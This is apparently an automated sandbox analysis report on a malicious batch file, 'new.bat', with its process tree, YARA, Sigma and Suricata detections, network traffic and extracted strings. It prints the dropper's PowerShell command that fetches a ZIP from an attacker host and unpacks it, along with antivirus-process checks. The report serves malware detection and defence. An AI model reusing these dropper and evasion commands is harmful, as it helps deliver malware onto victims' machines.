Edit tour

Windows Analysis Report
new.bat

Overview

General Information

Sample name:	new.bat
Analysis ID:	1584794
MD5:	06a3ce0d3e28ade7c5eeda7b1d6c627d
SHA1:	8bd57f42c05bda23dd80cafa797509149d697e59
SHA256:	03bcf126c3e61d7d79d5e22f07bc1213a0f60a708bc4879d4408d3483af43283
Tags:	batuser-TeamDreier
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

AI detected suspicious sample

Loading BitLocker PowerShell Module

Suspicious powershell command line found

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7520 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5100 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1712,i,9084678072943982421,14828250794694654644,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 7648 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

tasklist.exe (PID: 7756 cmdline: tasklist /FI "IMAGENAME eq AvastUI.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7764 cmdline: find /i "AvastUI.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

tasklist.exe (PID: 7844 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7852 cmdline: find /i "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

powershell.exe (PID: 7968 cmdline: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 5600 cmdline: powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 1648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
new.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x60:$s2: :~59,1%% 0x6d:$s2: :~57,1%% 0x7a:$s2: :~4,1% 0x88:$s2: :~51,1%% 0x95:$s2: :~38,1%% 0xa2:$s2: :~59,1%% 0xaf:$s2: :~46,1%% 0xbc:$s2: :~43,1%% 0xc9:$s2: :~29,1%% 0xd6:$s2: :~43,1%% 0xec:$s2: :~17,1%% 0xf9:$s2: :~17,1% 0x108:$s2: :~4,1%% 0x114:$s2: :~38,1%% 0x121:$s2: :~6,1%% 0x12d:$s2: :~57,1%% 0x13a:$s2: :~43,1%% 0x147:$s2: :~59,1%% 0x154:$s2: :~24,1%% 0x161:$s2: :~57,1%

Sigma Signatures

System Summary

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5600, TargetFilename: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7968, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7968, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 7968, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1648, ProcessName: svchost.exe

Suricata Signatures

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T14:32:20.454810+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49725	193.143.1.95	5228	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.2% probability

Source:	Binary string: <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file.</p></li> source: 3.2.html.21.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor now accepts a <em>nosigint</em> argument.</p></li> source: 3.2.html.21.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.21.dr
Source:	Binary string: <li><a href="library/pdb.html#index-1">Pdb (class in pdb)</a>, <a href="library/pdb.html#pdb.Pdb">[1]</a> source: genindex-P.html.21.dr
Source:	Binary string: <li><p>A <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file can contain <code class="docutils literal notranslate"><span class="pre">continue</span></code> and <code class="docutils literal notranslate"><span class="pre">next</span></code> commands source: 3.2.html.21.dr

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 5228
Source: unknown	Network traffic detected: HTTP traffic on port 5228 -> 49725

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49725 -> 193.143.1.95:5228

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: dbasopma.lol:5228Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: dbasopma.lol:5228Connection: Keep-Alive

Source: curses.html.21.dr	String found in binary or memory: <li><p><a class="reference external" href="https://www.youtube.com/watch?v=eN1eZtjLEnU"> equals www.youtube.com (Youtube)
Source: 2.5.html.21.dr	String found in binary or memory: <span class="k">with</span> <span class="n">closing</span><span class="p">(</span><span class="n">urllib</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="s1">'http://www.yahoo.com'</span><span class="p">))</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: dbasopma.lol
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: svchost.exe, 0000000C.00000002.2558605998.0000022657800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 0000000A.00000002.1913429484.0000025413DD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228
Source: powershell.exe, 0000000A.00000002.1912774801.0000025411C24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/
Source: powershell.exe, 0000000A.00000002.1913112745.0000025411D4B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1912823628.0000025411C50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1912823628.0000025411C70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1912774801.0000025411C24000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1913274814.0000025413693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/FTSP.zip
Source: powershell.exe, 0000000A.00000002.1912823628.0000025411C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/FTSP.zip&
Source: powershell.exe, 0000000A.00000002.1912774801.0000025411C24000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1954262502.000002542BC6B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1913274814.0000025413693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 0000000A.00000002.1912823628.0000025411C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/FTSP.zipi
Source: powershell.exe, 0000000A.00000002.1913274814.0000025413693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/bab.zip
Source: powershell.exe, 0000000A.00000002.1913076474.0000025411D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/bab.zipK
Source: powershell.exe, 0000000A.00000002.1912823628.0000025411C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dbasopma.lol:5228/bab.zipe
Source: svchost.exe, 0000000C.00000003.1344957025.0000022657A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: terminal256.py.21.dr, terminal256.cpython-312.pyc.21.dr	String found in binary or memory: http://frexx.de/xterm-256-notes/data/xterm256-conv2.tar.bz2)
Source: constants.py.21.dr	String found in binary or memory: http://magic.io
Source: powershell.exe, 0000000A.00000002.1950620641.0000025423C25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1950620641.0000025423D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1913429484.0000025413DD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.1913429484.0000025413BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1913429484.0000025413DD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.1913429484.0000025413BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wheel.py1.21.dr	String found in binary or memory: https://bitbucket.org/pypa/distlib/issue/32/
Source: wheel.py1.21.dr	String found in binary or memory: https://bitbucket.org/pypa/distlib/issue/35/
Source: 3.8.html.21.dr	String found in binary or memory: https://blog.unicode.org/2019/05/unicode-12-1-en.html
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1054041
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10544
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1230540
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12782
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13153
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13611
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=14678
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=15248
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1529353
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1635741
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17239
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17535
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=17561
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=18748
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=20092
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=20849
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21041
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21145
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=21536
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=22640
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23057
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23427
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23722
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23831
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=23867
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24160
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24412
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=24464
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=2504
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25427
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=25451
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26131
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26219
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26241
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26389
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26467
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26707
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26836
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=26978
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27181
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=27640
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28238
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=28468
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29209
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29235
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29882
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=29883
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30155
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30262
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30459
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30661
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30670
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30688
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=30977
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31508
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31553
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31680
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31844
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31861
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31870
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=31956
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32102
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32117
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32285
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32314
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32380
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32417
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32430
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32489
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32492
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32528
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32718
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32749
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32892
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32941
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=32972
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33073
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33083
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33089
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33234
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33416
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33462
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33499
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33530
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33597
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33671
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33695
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33710
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33721
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33725
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33818
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33897
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33899
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=33962
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34003
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34075
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34160
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34204
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34270
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34616
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34632
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34641
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34651
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34659
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34670
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34687
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34790
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34829
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34850
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34898
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35018
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35047
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35059
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35081
Source: 3.10.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35134
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35153
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35224
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35283
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35345
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35431
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35459
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35471
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35498
